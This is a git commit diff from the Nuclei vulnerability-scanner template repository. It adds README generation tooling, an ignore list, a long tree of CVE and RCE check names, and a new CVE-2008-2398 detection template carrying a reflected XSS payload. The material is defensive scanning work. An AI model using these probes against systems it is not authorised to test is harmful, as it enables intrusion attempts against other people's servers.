Auto Update README [Sun Jan 3 06:40:09 UTC 2021] 🤖

Create package.json.yaml

.github/scripts/README.tmpl

@@ -0,0 +1,49 @@
+f"""
+# Nuclei Templates
+
+[![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
+[![GitHub Release](https://img.shields.io/github/release/projectdiscovery/nuclei-templates)](https://github.com/projectdiscovery/nuclei-templates/releases)
+[![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/projectdiscovery/nuclei-templates/issues)
+[![Follow on Twitter](https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter)](https://twitter.com/pdnuclei)
+[![Chat on Discord](https://img.shields.io/discord/695645237418131507.svg?logo=discord)](https://discord.gg/KECAGdH)
+
+Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
+
+An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
+
+### Nuclei templates `{version}` overview
+
+| Templates          | Counts                           | Templates                 | Counts                                  |
+| ------------------ | -------------------------------- | ------------------------- | --------------------------------------- |
+| cves               | {countTpl("cves/*")}             | files                     | {countTpl("files")}                     |
+| vulnerabilities    | {countTpl("vulnerabilities")}    | panels                    | {countTpl("panels")}                    |
+| technologies       | {countTpl("technologies")}       | security-misconfiguration | {countTpl("security-misconfiguration")} |
+| workflows          | {countTpl("workflows")}          | tokens                    | {countTpl("tokens")}                    |
+| dns                | {countTpl("dns")}                | fuzzing                   | {countTpl("fuzzing")}                   |
+| generic-detections | {countTpl("generic-detections")} | default-credentials       | {countTpl("default-credentials")}       |
+| subdomain-takeover | {countTpl("subdomain-takeover")} | payloads                  | {countTpl("payloads")}                  |
+| wordlists          | {countTpl("wordlists")}          | misc                      | {countTpl("misc")}                      |
+
+
+### Nuclei templates `{version}` tree overview
+
+<details>
+<summary> Nuclei templates </summary>
+
+```
+{command("tree", 1, -2)}
+```
+
+</details>
+
+**{command("tree", -2, None)}**.
+
+Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
+
+------
+**Notes:** 
+1. Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/)) to validate new templates when sending pull requests.
+2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
+
+Thanks again for your contribution and keeping the community vibrant. :heart:
+"""

.github/scripts/update-readme.py

@@ -0,0 +1,18 @@
+#!/usr/bin/env python3
+import glob
+import subprocess
+
+def countTpl(path):
+	return len(glob.glob(path + "/*.*"))
+
+def command(args, start=None, end=None):
+	return "\n".join(subprocess.run(args, text=True, capture_output=True).stdout.split("\n")[start:end])[:-1]
+
+if __name__ == "__main__":
+	version = command(["git", "describe", "--tags", "--abbrev=0"])
+	template = eval(open(".github/scripts/README.tmpl", "r").read())
+
+	print(template)
+	f = open("README.md", "w")
+	f.write(template)
+	f.close()

.github/workflows/update-readme.yml

@@ -0,0 +1,44 @@
+name: "Auto Update README"
+
+on:
+  push:
+    branches:
+      - master
+  create:
+    tags:
+      - v*
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    if: github.repository == 'projectdiscovery/nuclei-templates'
+    steps:
+      - name: Install tree
+        run: sudo apt-get install tree -y
+
+      - name: Check out code
+        uses: actions/checkout@master
+        with:
+          persist-credentials: false
+          fetch-depth: 0
+
+      - name: Set up Python
+        uses: actions/setup-python@v2
+        with:
+          python-version: "3.8"
+
+      - name: Update README
+        run: |
+          python .github/scripts/update-readme.py
+
+      - name: Commit files
+        run: |
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git commit -m "Auto Update README [$(date)] :robot:" -a
+
+      - name: Push changes
+        uses: ad-m/github-push-action@master
+        with:
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: ${{ github.ref }}

.nuclei-ignore

@@ -1,11 +1,29 @@
+# ==| Nuclei Templates Ignore list |==
+# ====================================
+#
+# This list can be used to define template/s that will be blocked from execution.
+# When a folder/directory is listed under this list, the templates within folder can be executed only when running them directly.
+# For example, "nuclei -t fuzzing" will not work, "nuclei -t fuzzing/wp-plugin-scan.yaml" will be executed.
+# 
+# Why ignore list? - To ensure nuclei is not getting used to hammer the every web server with templates that are meant to be used for specific use cases. 
+# and that doesn't mean nuclei won't let you run these templates. if you know what you are doing, feel free to updates this list locally as per your need.
+#
+# This list also can be used to ignore templates that you wanted to exclude from every scan.
+# More details - https://github.com/projectdiscovery/nuclei#using-nuclei-ignore-file-for-template-exclusion
+
 .pre-commit-config.yaml
-security-misconfiguration/missing-x-frame-options.yaml
-security-misconfiguration/missing-hsts.yaml
-security-misconfiguration/missing-csp.yaml
-security-misconfiguration/basic-cors-flash.yaml
 cves/CVE-2017-7529.yaml
 cves/CVE-2020-13379.yaml
 cves/CVE-2013-2251.yaml
+cves/CVE-2020-16139.yaml
 vulnerabilities/x-forwarded-host-injection.yaml
+
+# Fuzzing is excluded to avoid running bruteforce on every server as default.
 fuzzing/
-workflows/
+
+# Wordlist directory contains payload to be used with templates. 
+wordlists/
+misc/
+
+# Workflows are excluded from default run to avoid duplicate scans.
+workflows/

README.md

@@ -1,3 +1,4 @@
+
 # Nuclei Templates
 
 [![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
@@ -10,170 +11,198 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 
 An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
 
-### nuclei templates `v7.2.0`
+### Nuclei templates `v7.3.5` overview
 
-| Template Directory      	| Number of Templates      |
-|---------------------------|--------------------------|
-| cves                     	|125                       |
-| default-credentials       |03                        |
-| dns                     	|04                        |
-| files                     |44                        |
-| fuzzing                   |02                        |
-| generic-detections        |03                        |
-| panels                    |39                        |
-| security-misconfiguration |25                  	   |
-| subdomain-takeover        |02           			   |
-| technologies              |32      				   |
-| tokens                    |08                        |
-| vulnerabilities           |33          			   |
-| workflows                 |15              		   |
+| Templates          | Counts                           | Templates                 | Counts                                  |
+| ------------------ | -------------------------------- | ------------------------- | --------------------------------------- |
+| cves               | 145             | files                     | 48                     |
+| vulnerabilities    | 42    | panels                    | 49                    |
+| technologies       | 41       | security-misconfiguration | 28 |
+| workflows          | 17          | tokens                    | 8                    |
+| dns                | 6                | fuzzing                   | 6                   |
+| generic-detections | 3 | default-credentials       | 4       |
+| subdomain-takeover | 2 | payloads                  | 2                  |
+| wordlists          | 1          | misc                      | 14                      |
 
-### nuclei templates `v7.2.0` tree overview 
+
+### Nuclei templates `v7.3.5` tree overview
 
 <details>
-<summary>Template Directory</summary>
+<summary> Nuclei templates </summary>
 
 ```
+├── LICENSE.md
+├── README.md
 ├── cves
-│   ├── CVE-2005-2428.yaml
-│   ├── CVE-2013-2251.yaml
-│   ├── CVE-2014-6271.yaml
-│   ├── CVE-2017-10075.yaml
-│   ├── CVE-2017-11444.yaml
-│   ├── CVE-2017-14537.yaml
-│   ├── CVE-2017-14849.yaml
-│   ├── CVE-2017-5638.yaml
-│   ├── CVE-2017-7391.yaml
-│   ├── CVE-2017-7615.yaml
-│   ├── CVE-2017-9506.yaml
-│   ├── CVE-2017-9841.yaml
-│   ├── CVE-2018-0296.yaml
-│   ├── CVE-2018-1000129.yaml
-│   ├── CVE-2018-11409.yaml
-│   ├── CVE-2018-11759.yaml
-│   ├── CVE-2018-1247.yaml
-│   ├── CVE-2018-1271.yaml
-│   ├── CVE-2018-1273.yaml
-│   ├── CVE-2018-13379.yaml
-│   ├── CVE-2018-14728.yaml
-│   ├── CVE-2018-16341.yaml
-│   ├── CVE-2018-16763.yaml
-│   ├── CVE-2018-17431.yaml
-│   ├── CVE-2018-18069.yaml
-│   ├── CVE-2018-19386.yaml
-│   ├── CVE-2018-19439.yaml
-│   ├── CVE-2018-20824.yaml
-│   ├── CVE-2018-2791.yaml
-│   ├── CVE-2018-3714.yaml
-│   ├── CVE-2018-3760.yaml
-│   ├── CVE-2018-5230.yaml
-│   ├── CVE-2018-7490.yaml
-│   ├── CVE-2019-1010287.yaml
-│   ├── CVE-2019-10475.yaml
-│   ├── CVE-2019-11043.yaml
-│   ├── CVE-2019-11248.yaml
-│   ├── CVE-2019-11510.yaml
-│   ├── CVE-2019-11580.yaml
-│   ├── CVE-2019-12314.yaml
-│   ├── CVE-2019-12461.yaml
-│   ├── CVE-2019-12593.yaml
-│   ├── CVE-2019-14322.yaml
-│   ├── CVE-2019-14696.yaml
-│   ├── CVE-2019-14974.yaml
-│   ├── CVE-2019-15043.yaml
-│   ├── CVE-2019-15107.yaml
-│   ├── CVE-2019-15858.yaml
-│   ├── CVE-2019-16278.yaml
-│   ├── CVE-2019-1653.yaml
-│   ├── CVE-2019-16662.yaml
-│   ├── CVE-2019-16759-1.yaml
-│   ├── CVE-2019-16759.yaml
-│   ├── CVE-2019-16920.yaml
-│   ├── CVE-2019-17382.yaml
-│   ├── CVE-2019-17558.yaml
-│   ├── CVE-2019-18394.yaml
-│   ├── CVE-2019-19368.yaml
-│   ├── CVE-2019-19781.yaml
-│   ├── CVE-2019-19908.yaml
-│   ├── CVE-2019-19985.yaml
-│   ├── CVE-2019-20141.yaml
-│   ├── CVE-2019-2588.yaml
-│   ├── CVE-2019-2725.yaml
-│   ├── CVE-2019-3396.yaml
-│   ├── CVE-2019-3799.yaml
-│   ├── CVE-2019-5418.yaml
-│   ├── CVE-2019-6112.yaml
-│   ├── CVE-2019-6715.yaml
-│   ├── CVE-2019-7256.yaml
-│   ├── CVE-2019-7609.yaml
-│   ├── CVE-2019-8442.yaml
-│   ├── CVE-2019-8449.yaml
-│   ├── CVE-2019-8451.yaml
-│   ├── CVE-2019-8903.yaml
-│   ├── CVE-2019-8982.yaml
-│   ├── CVE-2019-9978.yaml
-│   ├── CVE-2020-10199.yaml
-│   ├── CVE-2020-10204.yaml
-│   ├── CVE-2020-11034.yaml
-│   ├── CVE-2020-1147.yaml
-│   ├── CVE-2020-12116.yaml
-│   ├── CVE-2020-12720.yaml
-│   ├── CVE-2020-13167.yaml
-│   ├── CVE-2020-14179.yaml
-│   ├── CVE-2020-14181.yaml
-│   ├── CVE-2020-15129.yaml
-│   ├── CVE-2020-15505.yaml
-│   ├── CVE-2020-15920.yaml
-│   ├── CVE-2020-16139.yaml
-│   ├── CVE-2020-16952.yaml
-│   ├── CVE-2020-17505.yaml
-│   ├── CVE-2020-17506.yaml
-│   ├── CVE-2020-2096.yaml
-│   ├── CVE-2020-2140.yaml
-│   ├── CVE-2020-24223.yaml
-│   ├── CVE-2020-24312.yaml
-│   ├── CVE-2020-2551.yaml
-│   ├── CVE-2020-25540.yaml
-│   ├── CVE-2020-3187.yaml
-│   ├── CVE-2020-3452.yaml
-│   ├── CVE-2020-5284.yaml
-│   ├── CVE-2020-5405.yaml
-│   ├── CVE-2020-5410.yaml
-│   ├── CVE-2020-5412.yaml
-│   ├── CVE-2020-5776.yaml
-│   ├── CVE-2020-5777.yaml
-│   ├── CVE-2020-5902.yaml
-│   ├── CVE-2020-6287.yaml
-│   ├── CVE-2020-7209.yaml
-│   ├── CVE-2020-7961.yaml
-│   ├── CVE-2020-8091.yaml
-│   ├── CVE-2020-8115.yaml
-│   ├── CVE-2020-8163.yaml
-│   ├── CVE-2020-8191.yaml
-│   ├── CVE-2020-8193.yaml
-│   ├── CVE-2020-8194.yaml
-│   ├── CVE-2020-8512.yaml
-│   ├── CVE-2020-8982.yaml
-│   ├── CVE-2020-9047.yaml
-│   ├── CVE-2020-9344.yaml
-│   ├── CVE-2020-9484.yaml
-│   ├── CVE-2020-9496.yaml
-│   ├── CVE-2020-9757.yaml
-│   ├── cve-2019-9733.yaml
-│   └── cve-2020-0618.yaml
+│   ├── 2005
+│   │   └── CVE-2005-2428.yaml
+│   ├── 2008
+│   │   └── CVE-2008-2398.yaml
+│   ├── 2013
+│   │   └── CVE-2013-2251.yaml
+│   ├── 2014
+│   │   └── CVE-2014-6271.yaml
+│   ├── 2017
+│   │   ├── CVE-2017-10075.yaml
+│   │   ├── CVE-2017-11444.yaml
+│   │   ├── CVE-2017-12637.yaml
+│   │   ├── CVE-2017-14537.yaml
+│   │   ├── CVE-2017-14849.yaml
+│   │   ├── CVE-2017-5638.yaml
+│   │   ├── CVE-2017-7391.yaml
+│   │   ├── CVE-2017-7615.yaml
+│   │   ├── CVE-2017-9506.yaml
+│   │   └── CVE-2017-9841.yaml
+│   ├── 2018
+│   │   ├── CVE-2018-0296.yaml
+│   │   ├── CVE-2018-1000129.yaml
+│   │   ├── CVE-2018-11409.yaml
+│   │   ├── CVE-2018-11759.yaml
+│   │   ├── CVE-2018-1247.yaml
+│   │   ├── CVE-2018-1271.yaml
+│   │   ├── CVE-2018-1273.yaml
+│   │   ├── CVE-2018-13379.yaml
+│   │   ├── CVE-2018-13380.yaml
+│   │   ├── CVE-2018-14728.yaml
+│   │   ├── CVE-2018-16341.yaml
+│   │   ├── CVE-2018-16763.yaml
+│   │   ├── CVE-2018-17431.yaml
+│   │   ├── CVE-2018-18069.yaml
+│   │   ├── CVE-2018-19386.yaml
+│   │   ├── CVE-2018-19439.yaml
+│   │   ├── CVE-2018-20824.yaml
+│   │   ├── CVE-2018-2791.yaml
+│   │   ├── CVE-2018-3714.yaml
+│   │   ├── CVE-2018-3760.yaml
+│   │   ├── CVE-2018-5230.yaml
+│   │   └── CVE-2018-7490.yaml
+│   ├── 2019
+│   │   ├── CVE-2019-1010287.yaml
+│   │   ├── CVE-2019-10475.yaml
+│   │   ├── CVE-2019-11248.yaml
+│   │   ├── CVE-2019-11510.yaml
+│   │   ├── CVE-2019-11580.yaml
+│   │   ├── CVE-2019-11581.yaml
+│   │   ├── CVE-2019-11869.yaml
+│   │   ├── CVE-2019-12314.yaml
+│   │   ├── CVE-2019-12461.yaml
+│   │   ├── CVE-2019-12593.yaml
+│   │   ├── CVE-2019-12725.yaml
+│   │   ├── CVE-2019-14322.yaml
+│   │   ├── CVE-2019-14696.yaml
+│   │   ├── CVE-2019-14974.yaml
+│   │   ├── CVE-2019-15043.yaml
+│   │   ├── CVE-2019-15107.yaml
+│   │   ├── CVE-2019-15858.yaml
+│   │   ├── CVE-2019-16278.yaml
+│   │   ├── CVE-2019-1653.yaml
+│   │   ├── CVE-2019-16662.yaml
+│   │   ├── CVE-2019-16759-1.yaml
+│   │   ├── CVE-2019-16759.yaml
+│   │   ├── CVE-2019-16920.yaml
+│   │   ├── CVE-2019-17382.yaml
+│   │   ├── CVE-2019-17558.yaml
+│   │   ├── CVE-2019-18394.yaml
+│   │   ├── CVE-2019-19368.yaml
+│   │   ├── CVE-2019-19781.yaml
+│   │   ├── CVE-2019-19908.yaml
+│   │   ├── CVE-2019-19985.yaml
+│   │   ├── CVE-2019-20141.yaml
+│   │   ├── CVE-2019-2588.yaml
+│   │   ├── CVE-2019-2725.yaml
+│   │   ├── CVE-2019-3396.yaml
+│   │   ├── CVE-2019-3402.yaml
+│   │   ├── CVE-2019-3799.yaml
+│   │   ├── CVE-2019-5418.yaml
+│   │   ├── CVE-2019-6112.yaml
+│   │   ├── CVE-2019-6340.yaml
+│   │   ├── CVE-2019-6715.yaml
+│   │   ├── CVE-2019-7256.yaml
+│   │   ├── CVE-2019-7609.yaml
+│   │   ├── CVE-2019-8442.yaml
+│   │   ├── CVE-2019-8449.yaml
+│   │   ├── CVE-2019-8451.yaml
+│   │   ├── CVE-2019-8903.yaml
+│   │   ├── CVE-2019-8982.yaml
+│   │   ├── CVE-2019-9670.yaml
+│   │   ├── CVE-2019-9733.yaml
+│   │   └── CVE-2019-9978.yaml
+│   └── 2020
+│       ├── CVE-2020-0618.yaml
+│       ├── CVE-2020-10148.yaml
+│       ├── CVE-2020-10199.yaml
+│       ├── CVE-2020-10204.yaml
+│       ├── CVE-2020-11034.yaml
+│       ├── CVE-2020-1147.yaml
+│       ├── CVE-2020-11738.yaml
+│       ├── CVE-2020-12116.yaml
+│       ├── CVE-2020-12720.yaml
+│       ├── CVE-2020-13167.yaml
+│       ├── CVE-2020-13942.yaml
+│       ├── CVE-2020-14179.yaml
+│       ├── CVE-2020-14181.yaml
+│       ├── CVE-2020-14864.yaml
+│       ├── CVE-2020-14882.yaml
+│       ├── CVE-2020-15129.yaml
+│       ├── CVE-2020-15505.yaml
+│       ├── CVE-2020-15920.yaml
+│       ├── CVE-2020-16139.yaml
+│       ├── CVE-2020-16846.yaml
+│       ├── CVE-2020-16952.yaml
+│       ├── CVE-2020-17505.yaml
+│       ├── CVE-2020-17506.yaml
+│       ├── CVE-2020-2096.yaml
+│       ├── CVE-2020-2140.yaml
+│       ├── CVE-2020-23972.yaml
+│       ├── CVE-2020-24223.yaml
+│       ├── CVE-2020-24312.yaml
+│       ├── CVE-2020-2551.yaml
+│       ├── CVE-2020-25540.yaml
+│       ├── CVE-2020-26214.yaml
+│       ├── CVE-2020-3187.yaml
+│       ├── CVE-2020-3452.yaml
+│       ├── CVE-2020-4463.yaml
+│       ├── CVE-2020-5284.yaml
+│       ├── CVE-2020-5405.yaml
+│       ├── CVE-2020-5410.yaml
+│       ├── CVE-2020-5412.yaml
+│       ├── CVE-2020-5776.yaml
+│       ├── CVE-2020-5777.yaml
+│       ├── CVE-2020-5902.yaml
+│       ├── CVE-2020-6287.yaml
+│       ├── CVE-2020-7209.yaml
+│       ├── CVE-2020-7318.yaml
+│       ├── CVE-2020-7961.yaml
+│       ├── CVE-2020-8091.yaml
+│       ├── CVE-2020-8115.yaml
+│       ├── CVE-2020-8163.yaml
+│       ├── CVE-2020-8191.yaml
+│       ├── CVE-2020-8193.yaml
+│       ├── CVE-2020-8194.yaml
+│       ├── CVE-2020-8209.yaml
+│       ├── CVE-2020-8512.yaml
+│       ├── CVE-2020-8982.yaml
+│       ├── CVE-2020-9047.yaml
+│       ├── CVE-2020-9344.yaml
+│       ├── CVE-2020-9484.yaml
+│       ├── CVE-2020-9496.yaml
+│       └── CVE-2020-9757.yaml
 ├── default-credentials
 │   ├── grafana-default-credential.yaml
 │   ├── rabbitmq-default-admin.yaml
+│   ├── solarwinds-default-admin.yaml
 │   └── tomcat-manager-default.yaml
 ├── dns
 │   ├── azure-takeover-detection.yaml
 │   ├── cname-service-detector.yaml
 │   ├── dead-host-with-cname.yaml
-│   └── servfail-refused-hosts.yaml
+│   ├── mx-service-detector.yaml
+│   ├── servfail-refused-hosts.yaml
+│   └── spoofable-spf-records-ptr.yaml
 ├── files
 │   ├── apc-info.yaml
 │   ├── cgi-test-page.yaml
-│   ├── dir-listing.yaml
+│   ├── composer-config.yaml
 │   ├── docker-registry.yaml
 │   ├── domcfg-page.yaml
 │   ├── druid-monitor.yaml
@@ -187,18 +216,20 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── filezilla.yaml
 │   ├── firebase-detect.yaml
 │   ├── git-config.yaml
-│   ├── htaccess-config.yaml
+│   ├── graylog-api-browser.yaml
+│   ├── htpasswd-detection.yaml
 │   ├── jkstatus-manager.yaml
 │   ├── jolokia.yaml
 │   ├── laravel-env.yaml
 │   ├── lazy-file.yaml
 │   ├── magento-config.yaml
-│   ├── ntlm-directories.yaml
+│   ├── owncloud-config.yaml
+│   ├── package-json.yaml
 │   ├── php-errors.yaml
 │   ├── phpinfo.yaml
 │   ├── public-tomcat-instance.yaml
-│   ├── robots.txt.yaml
-│   ├── security.txt.yaml
+│   ├── redmine-db-config.yaml
+│   ├── server-private-keys.yaml
 │   ├── server-status-localhost.yaml
 │   ├── shell-history.yaml
 │   ├── sql-dump.yaml
@@ -214,30 +245,52 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── wordpress-installer-log.yaml
 │   ├── wordpress-tmm-db-migrate.yaml
 │   ├── wordpress-user-enumeration.yaml
-│   ├── wp-xmlrpc.yaml
 │   ├── wsdl-detect.yaml
+│   ├── xprober-service.yaml
 │   └── zip-backup-files.yaml
 ├── fuzzing
 │   ├── arbitrary-file-read.yaml
+│   ├── basic-auth-bruteforce.yaml
 │   ├── directory-traversal.yaml
-│   └── generic-lfi-fuzzing.yaml
+│   ├── generic-lfi-fuzzing.yaml
+│   ├── iis-shortname.yaml
+│   └── wp-plugin-scan.yaml
 ├── generic-detections
 │   ├── basic-xss-prober.yaml
 │   ├── general-tokens.yaml
 │   └── top-15-xss.yaml
+├── misc
+│   ├── basic-cors-flash.yaml
+│   ├── dir-listing.yaml
+│   ├── htaccess-config.yaml
+│   ├── missing-csp.yaml
+│   ├── missing-hsts.yaml
+│   ├── missing-x-frame-options.yaml
+│   ├── ntlm-directories.yaml
+│   ├── old-copyright.yaml
+│   ├── robots.txt.yaml
+│   ├── security.txt.yaml
+│   ├── trace-method.yaml
+│   ├── unencrypted-bigip-ltm-cookie.yaml
+│   ├── wp-xmlrpc.yaml
+│   └── xml-schema-detect.yaml
 ├── panels
 │   ├── adminer-panel.yaml
 │   ├── aims-password-mgmt-client.yaml
 │   ├── atlassian-crowd-panel.yaml
 │   ├── cisco-asa-panel.yaml
 │   ├── citrix-adc-gateway-detect.yaml
+│   ├── citrix-vpn-detect.yaml
 │   ├── compal.yaml
 │   ├── crxde.yaml
 │   ├── docker-api.yaml
 │   ├── fortinet-fortigate-panel.yaml
+│   ├── github-enterprise-detect.yaml
+│   ├── gitlab-detect.yaml
 │   ├── globalprotect-panel.yaml
 │   ├── go-anywhere-client.yaml
 │   ├── grafana-detect.yaml
+│   ├── identityguard-selfservice-entrust.yaml
 │   ├── iomega-lenovo-emc-shared-nas-detect.yaml
 │   ├── jenkins-asyncpeople.yaml
 │   ├── jmx-console.yaml
@@ -246,13 +299,17 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── mobileiron-login.yaml
 │   ├── netscaler-gateway.yaml
 │   ├── network-camera-detect.yaml
+│   ├── oipm-detect.yaml
 │   ├── parallels-html-client.yaml
 │   ├── phpmyadmin-panel.yaml
 │   ├── polycom-admin-detect.yaml
 │   ├── pulse-secure-panel.yaml
 │   ├── rabbitmq-dashboard.yaml
+│   ├── rsa-self-service.yaml
+│   ├── sap-hana-xsengine-panel.yaml
 │   ├── sap-netweaver-detect.yaml
 │   ├── sap-recon-detect.yaml
+│   ├── solarwinds-orion.yaml
 │   ├── sonarqube-login.yaml
 │   ├── sonicwall-management-panel.yaml
 │   ├── sonicwall-sslvpn-panel.yaml
@@ -264,18 +321,23 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── virtual-ema-detect.yaml
 │   ├── weave-scope-dashboard-detect.yaml
 │   ├── webeditors.yaml
+│   ├── webmin-panel.yaml
 │   ├── workspace-one-uem.yaml
 │   └── workspaceone-uem-airwatch-dashboard-detect.yaml
 ├── payloads
 │   ├── CVE-2020-5776.csv
 │   └── CVE-2020-6287.xml
 ├── security-misconfiguration
-│   ├── basic-cors-flash.yaml
+│   ├── aem-groovyconsole.yaml
+│   ├── apache-tomcat-snoop.yaml
+│   ├── aspx-debug-mode.yaml
 │   ├── basic-cors.yaml
 │   ├── django-debug-detect.yaml
 │   ├── drupal-user-enum-ajax.yaml
 │   ├── drupal-user-enum-redirect.yaml
+│   ├── exposed-service-now.yaml
 │   ├── front-page-misconfig.yaml
+│   ├── jenkins-stack-trace.yaml
 │   ├── jira-service-desk-signup.yaml
 │   ├── jira-unauthenticated-dashboards.yaml
 │   ├── jira-unauthenticated-popular-filters.yaml
@@ -284,9 +346,6 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── jupyter-ipython-unauth.yaml
 │   ├── larvel-debug.yaml
 │   ├── manage-engine-ad-search.yaml
-│   ├── missing-csp.yaml
-│   ├── missing-hsts.yaml
-│   ├── missing-x-frame-options.yaml
 │   ├── put-method-enabled.yaml
 │   ├── rack-mini-profiler.yaml
 │   ├── salesforce-aura-misconfig.yaml
@@ -303,37 +362,42 @@ An overview of the nuclei template directory including number of templates and H
 ├── technologies
 │   ├── apache-detect.yaml
 │   ├── artica-web-proxy-detect.yaml
+│   ├── basic-auth-detection.yaml
 │   ├── bigip-config-utility-detect.yaml
-│   ├── citrix-vpn-detect.yaml
+│   ├── cacti-detect.yaml
 │   ├── clockwork-php-page.yaml
 │   ├── couchdb-detect.yaml
 │   ├── favicon-detection.yaml
-│   ├── github-enterprise-detect.yaml
-│   ├── gitlab-detect.yaml
 │   ├── google-storage.yaml
 │   ├── graphql.yaml
 │   ├── home-assistant.yaml
 │   ├── jaspersoft-detect.yaml
 │   ├── jira-detect.yaml
+│   ├── kibana-detect.yaml
 │   ├── kong-detect.yaml
 │   ├── liferay-portal-detect.yaml
 │   ├── linkerd-badrule-detect.yaml
 │   ├── linkerd-ssrf-detect.yaml
 │   ├── lotus-domino-version.yaml
 │   ├── magmi-detect.yaml
+│   ├── mrtg-detect.yaml
 │   ├── netsweeper-webadmin-detect.yaml
 │   ├── nifi-detech.yaml
 │   ├── oidc-detect.yaml
 │   ├── pi-hole-detect.yaml
 │   ├── prometheus-exporter-detect.yaml
 │   ├── prometheus-exposed-panel.yaml
+│   ├── prtg-detect.yaml
+│   ├── redmine-cli-detect.yaml
 │   ├── s3-detect.yaml
 │   ├── sap-netweaver-as-java-detect.yaml
 │   ├── sap-netweaver-detect.yaml
 │   ├── shiro-detect.yaml
 │   ├── sql-server-reporting.yaml
 │   ├── tech-detect.yaml
+│   ├── terraform-detect.yaml
 │   ├── tomcat-detect.yaml
+│   ├── tor-socks-proxy.yaml
 │   ├── waf-detect.yaml
 │   ├── weblogic-detect.yaml
 │   └── werkzeug-debugger-detect.yaml
@@ -352,17 +416,21 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── couchdb-adminparty.yaml
 │   ├── crlf-injection.yaml
 │   ├── discourse-xss.yaml
+│   ├── easy-wp-smtp-listing.yaml
 │   ├── eclipse-help-system-xss.yaml
 │   ├── git-config-nginxoffbyslash.yaml
 │   ├── ibm-infoprint-directory-traversal.yaml
+│   ├── mcafee-epo-rce.yaml
 │   ├── microstrategy-ssrf.yaml
 │   ├── mida-eframework-xss.yaml
 │   ├── moodle-filter-jmol-lfi.yaml
 │   ├── moodle-filter-jmol-xss.yaml
 │   ├── nginx-module-vts-xss.yaml
+│   ├── nuuo-nvrmini2-rce.yaml
 │   ├── open-redirect.yaml
 │   ├── oracle-ebs-bispgraph-file-access.yaml
 │   ├── pdf-signer-ssti-to-rce.yaml
+│   ├── rails6-xss.yaml
 │   ├── rce-shellshock-user-agent.yaml
 │   ├── rce-via-java-deserialization.yaml
 │   ├── rconfig-rce.yaml
@@ -375,37 +443,41 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── tikiwiki-reflected-xss.yaml
 │   ├── tomcat-manager-pathnormalization.yaml
 │   ├── twig-php-ssti.yaml
+│   ├── vmware-vcenter-lfi-linux.yaml
 │   ├── vmware-vcenter-lfi.yaml
 │   ├── vpms-auth-bypass.yaml
 │   ├── w3c-total-cache-ssrf.yaml
 │   ├── wems-manager-xss.yaml
-│   ├── wordpress-duplicator-path-traversal.yaml
 │   ├── wordpress-emails-verification-for-woocommerce.yaml
 │   ├── wordpress-social-metrics-tracker.yaml
 │   ├── wordpress-wordfence-xss.yaml
 │   ├── wordpress-wpcourses-info-disclosure.yaml
 │   └── zms-auth-bypass.yaml
+├── wordlists
+│   └── wp-plugins.txt
 └── workflows
     ├── artica-web-proxy-workflow.yaml
-    ├── bigip-pwner-workflow.yaml
+    ├── basic-auth-workflow.yaml
+    ├── bigip-workflow.yaml
     ├── cisco-asa-workflow.yaml
     ├── grafana-workflow.yaml
-    ├── jira-exploitaiton-workflow.yaml
-    ├── liferay-rce-workflow.yaml
+    ├── jira-workflow.yaml
+    ├── liferay-workflow.yaml
     ├── lotus-domino-workflow.yaml
     ├── magmi-workflow.yaml
     ├── mida-eframework-workflow.yaml
-    ├── netsweeper-preauth-rce-workflow.yaml
+    ├── netsweeper-workflow.yaml
     ├── rabbitmq-workflow.yaml
     ├── sap-netweaver-workflow.yaml
-    ├── springboot-pwner-workflow.yaml
+    ├── solarwinds-orion-workflow.yaml
+    ├── springboot-workflow.yaml
     ├── vbulletin-workflow.yaml
     └── wordpress-workflow.yaml
 ```
 
 </details>
 
-14 directories, **352 templates**. 
+**24 directories, 418 files**.
 
 Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
 
@@ -415,4 +487,3 @@ Please navigate to https://nuclei.projectdiscovery.io for detailed documentation
 2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
 
 Thanks again for your contribution and keeping the community vibrant. :heart:
-

cves/2005/CVE-2005-2428.yaml

@@ -1,6 +1,6 @@
-id: cve-2005-2428
+id: CVE-2005-2428
 info:
-  name: CVE-2005-2428 testing
+  name: CVE-2005-2428
   author: CasperGN
   severity: medium
 

cves/2008/CVE-2008-2398.yaml

@@ -0,0 +1,26 @@
+id: CVE-2008-2398
+
+info:
+  name: AppServ Open Project 2.5.10 and earlier XSS
+  author: unstabl3
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?appservlang=%3Csvg%2Fonload=confirm%28%27xss%27%29%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<svg/onload=confirm('xss')>"
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/2013/CVE-2013-2251.yaml

@@ -0,0 +1,46 @@
+id: CVE-2013-2251
+
+info:
